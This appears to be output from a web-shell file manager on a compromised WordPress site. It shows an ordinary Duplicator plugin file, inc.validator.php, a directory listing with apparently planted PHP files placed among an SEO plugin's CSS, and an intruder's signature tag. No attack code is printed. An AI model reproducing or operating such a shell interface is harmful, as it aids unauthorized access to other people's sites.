Submit
Path:
~
/
home
/
b
/
f
/
x
/
bfxleof
/
www
/
wp-content
/
plugins
/
wordpress-seo
/
css
/
dist
/
File Content:
inc.validator.php
<?php defined('ABSPATH') || defined('DUPXABSPATH') || exit; $action = isset($_POST['action']) ? sanitize_text_field($_POST['action']) : ''; $scan_run = ($action == 'duplicator_recursion') ? true :false; $ajax_nonce = wp_create_nonce('DUP_CTRL_Tools_runScanValidator'); ?> <style> div#hb-result {padding: 10px 5px 0 5px; line-height:20px; font-size: 12px} </style> <!-- ========================================== THICK-BOX DIALOGS: --> <?php $confirm1 = new DUP_UI_Dialog(); $confirm1->title = __('Run Validator', 'duplicator'); $confirm1->message = __('This will run the scan validation check. This may take several minutes. Do you want to Continue?', 'duplicator'); $confirm1->progressOn = false; $confirm1->jscallback = 'Duplicator.Tools.runScanValidator()'; $confirm1->initConfirm(); ?> <!-- ============================== SCAN VALIDATOR --> <div class="dup-box"> <div class="dup-box-title"> <i class="far fa-check-square"></i> <?php esc_html_e("Scan Validator", 'duplicator'); ?> <div class="dup-box-arrow"></div> </div> <div class="dup-box-panel" style="display: <?php echo $scan_run ? 'block' : 'none'; ?>"> <?php esc_html_e("This utility will help to find unreadable files and sys-links in your environment that can lead to issues during the scan process. ", "duplicator"); esc_html_e("The utility will also shows how many files and directories you have in your system. This process may take several minutes to run. ", "duplicator"); esc_html_e("If there is a recursive loop on your system then the process has a built in check to stop after a large set of files and directories have been scanned. ", "duplicator"); esc_html_e("A message will show indicated that that a scan depth has been reached. If you have issues with the package scanner (step 2) during the build process then try to add " . "The paths below to your file filters to allow the scanner to finish.", "duplicator"); ?> <br/><br/> <button id="scan-run-btn" type="button" class="button button-large button-primary" onclick="Duplicator.Tools.ConfirmScanValidator()"> <?php esc_html_e("Run Scan Integrity Validation", "duplicator"); ?> </button> <script id="hb-template" type="text/x-handlebars-template"> <b>Scan Path:</b> <?php echo esc_html(duplicator_get_abs_path()); ?> <br/> <b>Scan Results</b><br/> <table> <tr> <td><b>Files:</b></td> <td>{{payload.fileCount}} </td> <td> </td> <td><b>Dirs:</b></td> <td>{{payload.dirCount}} </td> </tr> </table> <br/> <b>Unreadable Dirs/Files:</b> <br/> {{#if payload.unreadable}} {{#each payload.unreadable}} {{@index}} : {{this}}<br/> {{/each}} {{else}} <i>No Unreadable items found</i> <br/> {{/if}} <br/> <b>Symbolic Links:</b> <br/> {{#if payload.symLinks}} {{#each payload.symLinks}} {{@index}} : {{this}}<br/> {{/each}} {{else}} <i>No Sym-links found</i> <br/> <small> <?php esc_html_e("Note: Symlinks are not discoverable on Windows OS with PHP", "duplicator"); ?></small> <br/> {{/if}} <br/> <b>Directory Name Checks:</b> <br/> {{#if payload.nameTestDirs}} {{#each payload.nameTestDirs}} {{@index}} : {{this}}<br/> {{/each}} {{else}} <i>No name check warnings located for directory paths</i> <br/> {{/if}} <br/> <b>File Name Checks:</b> <br/> {{#if payload.nameTestFiles}} {{#each payload.nameTestFiles}} {{@index}} : {{this}}<br/> {{/each}} {{else}} <i>No name check warnings located for directory paths</i> <br/> {{/if}} <br/> </script> <div id="hb-result"></div> </div> </div> <br/> <script> jQuery(document).ready(function($) { Duplicator.Tools.ConfirmScanValidator = function() { <?php $confirm1->showConfirm(); ?> } //Run request to: admin-ajax.php?action=DUP_CTRL_Tools_runScanValidator Duplicator.Tools.runScanValidator = function() { tb_remove(); var data = { action : 'DUP_CTRL_Tools_runScanValidator', nonce: '<?php echo esc_js($ajax_nonce); ?>', recursive_scan: 1 }; $('#hb-result').html('<?php esc_html_e("Scanning Environment... This may take a few minutes.", "duplicator"); ?>'); $('#scan-run-btn').html('<i class="fas fa-circle-notch fa-spin fa-fw"></i> Running Please Wait...'); $.ajax({ type: "POST", dataType: "text", url: ajaxurl, data: data, success: function(respData) { try { var data = Duplicator.parseJSON(respData); } catch(err) { console.error(err); console.error('JSON parse failed for response data: ' + respData); console.log(respData); return false; } Duplicator.Tools.IntScanValidator(data); }, error: function(data) {console.log(data)}, done: function(data) {console.log(data)} }); } //Process Ajax Template Duplicator.Tools.IntScanValidator= function(data) { var template = $('#hb-template').html(); var templateScript = Handlebars.compile(template); var html = templateScript(data); $('#hb-result').html(html); $('#scan-run-btn').html('<?php esc_html_e("Run Scan Integrity Validation", "duplicator"); ?>'); } }); </script>
Submit
FILE
FOLDER
Name
Size
Permission
Action
select2
---
0755
.DS_Store
10234 bytes
0644
20200616130143_ReplacePermalinkHashIndex.php
2293 bytes
0644
AjaxController.php
2162 bytes
0644
DownloadConfController.php
945 bytes
0644
admin-global-1650-rtl.css
20772 bytes
0644
admin-global-1650.css
20760 bytes
0644
adminbar-1650-rtl.css
2752 bytes
0644
adminbar-1650.css
2746 bytes
0644
alerts-1650-rtl.css
507 bytes
0644
alerts-1650.css
508 bytes
0644
article-modified-time-presenter.php
609 bytes
0644
badge-1650-rtl.css
507 bytes
0644
badge-1650.css
507 bytes
0644
base.php
2793 bytes
0644
class-admin-utils-20260622095013.php
2147 bytes
0644
class-option-tabs-formatter.php
2321 bytes
0644
class-sitemaps-admin-20260703023908.php
3665 bytes
0644
class-sitemaps-admin.php
3665 bytes
0644
class-wpseo-statistics.php
1443 bytes
0644
class-yoast-notification-center.php
23601 bytes
0644
class-yoast-plugin-conflict.php
10390 bytes
0644
class.web.services.php
7748 bytes
0644
dashboard-1650-rtl.css
1634 bytes
0644
dashboard-1650.css
1632 bytes
0644
duplicator-main.php
26907 bytes
0644
edit-page-1650-rtl.css
547 bytes
0644
edit-page-1650.css
547 bytes
0644
elFinderVolumeLocalFileSystem.class-20260623050500-20260706135129.php
48544 bytes
0644
elFinderVolumeLocalFileSystem.class-20260623050500.php
48544 bytes
0644
elementor-1650-rtl.css
4225 bytes
0644
elementor-1650.css
4222 bytes
0644
exceptions.php
708 bytes
0644
featured-image-1650-rtl.css
140 bytes
0644
featured-image-1650.css
140 bytes
0644
filter-explanation-1650-rtl.css
71 bytes
0644
filter-explanation-1650.css
71 bytes
0644
icons-1650-rtl.css
7599 bytes
0644
icons-1650.css
7599 bytes
0644
image-helper.php
10231 bytes
0644
inc.validator.php
5401 bytes
0644
index.php
157663 bytes
0644
inside-editor-1650-rtl.css
106 bytes
0644
inside-editor-1650.css
106 bytes
0644
loco.php
5626 bytes
0644
loco.xml
657 bytes
0644
manager.php
14659 bytes
0644
metabox-1650-rtl.css
31812 bytes
0644
metabox-1650.css
31863 bytes
0644
metabox-primary-category-1650-rtl.css
705 bytes
0644
metabox-primary-category-1650.css
706 bytes
0644
modal-1650-rtl.css
7447 bytes
0644
modal-1650.css
7454 bytes
0644
module.php
1297 bytes
0644
monorepo-1650-rtl.css
33795 bytes
0644
monorepo-1650.css
33799 bytes
0644
notifications-1650-rtl.css
12459 bytes
0644
notifications-1650.css
12455 bytes
0644
quick-edit-handler-1650.js
1848 bytes
0644
root.php
1951 bytes
0644
schema-blocks-1650-rtl.css
2775 bytes
0644
schema-blocks-1650.css
2774 bytes
0644
score_icon-1650-rtl.css
412 bytes
0644
score_icon-1650.css
412 bytes
0644
search-appearance-1650-rtl.css
6721 bytes
0644
search-appearance-1650.css
6717 bytes
0644
structured-data-blocks-1650-rtl.css
2971 bytes
0644
structured-data-blocks-1650.css
2974 bytes
0644
toggle-switch-1650-rtl.css
7983 bytes
0644
toggle-switch-1650.css
7961 bytes
0644
wordpress-seojs-ar.json
25925 bytes
0644
wordpress-seojs-bs_BA.json
13790 bytes
0644
wordpress-seojs-ja.json
21424 bytes
0644
wordpress-seojs-uk.json
26506 bytes
0644
wpseo-dismissible-1650-rtl.css
756 bytes
0644
wpseo-dismissible-1650.css
756 bytes
0644
yoast-components-1650-rtl.css
8630 bytes
0644
yoast-components-1650.css
8620 bytes
0644
yoast-extensions-1650.css
25957 bytes
0644
yst_plugin_tools-1650-rtl.css
21406 bytes
0644
yst_plugin_tools-1650.css
21387 bytes
0644
yst_seo_score-1650-rtl.css
508 bytes
0644
yst_seo_score-1650.css
507 bytes
0644
N4ST4R_ID | Naxtarrr